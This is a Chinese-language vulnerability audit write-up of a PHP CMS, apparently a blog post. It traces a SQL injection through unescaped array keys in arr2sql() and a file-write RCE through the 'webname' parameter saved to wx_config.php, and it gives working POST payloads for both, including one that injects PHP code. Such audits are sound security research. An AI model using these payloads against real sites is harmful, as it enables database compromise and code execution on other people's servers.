之前在t00ls上看到一位大佬随手发了某源码的一个sql注入,前几周有拿到了这个源码就按照他发的漏洞把漏洞代码跟了下,同时自己也审了个比较鸡肋的RCE,把审计过程记录了下。
根据习惯先看代码最原始db目录下的数据库类操作文件,其中有个arr2sql()函数用于将数组转换为sql语句存在问题,如下所示:
private function arr2sql($arr) { $s = ''; foreach($arr as $k=>$v) { $v = addslashes($v); $s .= "$k='$v',"; } return rtrim($s, ','); }
由上数组转成sql语句可以看出,arr2sql()函数只对数组中的value值进行了转义过滤,而没有对相应的key进行转义过滤,直接进行拼接返回。那我们就假设如果传入的数组$arr中相应的键我们在前端可以控制构造相应的payload即可造成sql注入。
首先我们全局搜索那些地方调用了arr2sql()这个方法,找到两处函数调用了该方法如下所示:
执行插入操作的函数:
public function set($key, $data) { if(!is_array($data)) return FALSE; list($table, $keyarr) = $this->key2arr($key); $data += $keyarr; $s = $this->arr2sql($data); $exists = $this->get($key); if(empty($exists)) { return $this->query("INSERT INTO {$this->tablepre}$table SET $s", $this->wlink); } else { return $this->update($key, $data); } }
第二处跟新操作的函数:
public function update($key, $data) { list($table, $keyarr, $keystr) = $this->key2arr($key); $s = $this->arr2sql($data); return $this->query("UPDATE {$this->tablepre}$table SET $s WHERE $keystr LIMIT 1", $this->wlink); }
由上述函数可知$s经过arr2sql()处理后直接返回凭借执行sql语句。
选一处进行分析数据流分析,全局搜索update()函数查找调用该函数的方法且传入数组中的键可控,找到如下方法:
public function ajaxset(){ $id = intval(R('id', 'P')); $cid = intval(R('cid', 'P')); $type = R('type', 'P'); $txtvalue = intval(R('txtvalue', 'P')); empty($id) && E(1, '内容ID不能为空!'); $this->cms_content->table = 'cms_products'; $data = $this->cms_content->get($id); $old_status = $data['status'] ; $data[$type] = $txtvalue; if($type == 'status' && $txtvalue == 0){ //审核通过清空拒绝理由 $data['whys'] = ''; } if(!$this->cms_content->update($data)) { E(1, '更新出错'); } if($type == 'status'){ $categorys = $this->category->read($cid); $categorys['count_'.$txtvalue]++; $categorys['count_'.$old_status]--; $this->category->update($categorys); $this->category->delete_cache(); $shop = $this->shop->get_by_uid($data['uid']); $shop['goods_'.$txtvalue]++; $shop['goods_'.$old_status]--; $this->shop->update($shop); } E(0, '更新成功!'); }
调用update函数传入数组$data其中一个键的$type可控,有前端传入。即上述R(‘’,‘p’)方法,该方法为接受前端传入数据,如下所示:
function R($k, $var = 'G') { switch($var) { case 'G': $var = &$_GET; break; case 'P': $var = &$_POST; break; case 'C': $var = &$_COOKIE; break; case 'R': $var = isset($_GET[$k]) ? $_GET : (isset($_POST[$k]) ? $_POST : $_COOKIE); break; case 'S': $var = &$_SERVER; break; } return isset($var[$k]) ? $var[$k] : null; }
简单poc如下所示;
id=503&type=pic%3ddatabase(),local&value=
复现过程如下所示:
pic字段更新成相应的数据库名:
ase.func.php中FW($filename, $data)函数直接用file_put_contents()函数将数据写入文件中。
function FW($filename, $data) { $dir = dirname($filename); is_dir($dir) || mkdir($dir, 0755, true); return file_put_contents($filename, $data); // 不使用 LOCK_EX,多线程访问时会有同步问题 }
联想若某处调用了FW(),若$filename,$data数据可控未做过滤则可进行任意文件修改写入shell,若$data可控未做过滤则可修改指定文件内容写入shell。全局搜索那些地方调用了FW()函数,找到一处写入wx_config.php的数据可控:
public function setting() { if(empty($_POST)) { $cfg = $this->kv->xget('pay_cfg'); $input = array(); $input['weixin']['APPID'] = form::get_text('weixin[APPID]', $cfg['weixin']['APPID'], 'form-control'); $input['weixin']['MCHID'] = form::get_text('weixin[MCHID]', $cfg['weixin']['MCHID'], 'form-control'); $input['weixin']['KEY'] = form::get_text('weixin[KEY]', $cfg['weixin']['KEY'], 'form-control'); $input['weixin']['APPSECRET'] = form::get_text('weixin[APPSECRET]', $cfg['weixin']['APPSECRET'], 'form-control'); $this->assign('input', $input); $this->display(); }else{ _trim($_POST); $weixin = R('weixin', 'P') ; $this->kv->xset('weixin', $weixin, 'pay_cfg'); //存储wx $wx_notice = ''; if(!empty($weixin)){ $wxFile = PLUGIN_PATH.'nz_wxpay/wx_config.php'; $s = file_get_contents($wxFile); $s = preg_replace("#const APPID = '\w*';#", "const APPID = '".addslashes($weixin['APPID'])."';", $s); $s = preg_replace("#const MCHID = '\w*';#", "const MCHID = '".addslashes($weixin['MCHID'])."';", $s); $s = preg_replace("#const KEY = '\w*';#", "const KEY = '".addslashes($weixin['KEY'])."';", $s); $s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".R('webname','P')."';", $s); if(!FW($wxFile, $s)){ $wx_notice = '!但微信配置文件写入失败,需手动修改nzcms/plugin/nz_wxpay/wx_config.php'; } } $this->kv->save_changed(); $this->runtime->delete('pay_cfg'); exit('{"err":0, "msg":"修改成功"}'); } }
写入$wxFile的$s数据可控,且前端传入的webname参数可控不进行过滤,其余传入的数组$weixin都进行了过滤,故可构造如下payload将shell写入wx_config.php。
weixin%5BAPPID%5D=1155&weixin%5BMCHID%5D=5555555&weixin%5BKEY%5D=11333311&weixin%5B'APPSECRET'%5D=1111&webname=aaaaaaaaa';} phpinfo();?>/*
抓取相应数据包发送上述payload如下所示:
访问wx_config.php,如下所示:
但这个洞利用还是有限制可以说比较鸡肋,主要有两点
$s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".R('webname','P')."';", $s);
用了\w来匹配,导致如果wx_config.php中的COMPANY预先赋值为中文就无法匹配成功也就无法替换写入。